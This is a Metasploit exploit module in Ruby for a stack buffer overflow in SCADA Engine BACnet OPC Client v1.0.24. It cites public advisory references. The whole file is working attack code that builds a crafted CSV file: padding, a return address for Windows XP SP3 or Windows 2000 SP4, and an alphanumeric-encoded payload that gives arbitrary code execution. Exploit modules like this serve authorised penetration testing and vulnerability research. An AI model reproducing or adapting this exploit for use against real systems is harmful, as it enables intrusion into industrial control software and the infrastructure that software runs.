79 lines
2.2 KiB
Ruby
79 lines
2.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BACnet OPC Client Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in SCADA
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Engine BACnet OPC Client v1.0.24. When the BACnet OPC Client
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parses a specially crafted csv file, arbitrary code may be
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executed.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Jeremy Brown', 'MC' ],
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'References' =>
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[
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[ 'OSVDB', '68096'],
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[ 'BID', '43289' ],
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[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-264-01.pdf' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'MinNops' => 0,
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'MaxNops' => 0,
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'Space' => 698,
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'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
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'StackAdjustment' => -3500,
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'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
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'EncoderOptions' =>
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{
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'BufferRegister' => 'ECX',
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},
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP3 English', { 'Ret' => 0x77e26323 } ],
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[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Sep 16 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new( 'FILENAME', [ false, 'The file name.', 'msf.csv' ]),
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], self.class)
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end
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def exploit
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csv = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\"
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csv << rand_text_alpha_upper(185)
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csv << [target.ret].pack('V') + rand_text_alpha_upper(4)
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csv << payload.encoded + rand_text_alpha_upper(750 - payload.encoded.length)
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csv << "\\scada,0,0,\n"
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(csv)
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end
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end
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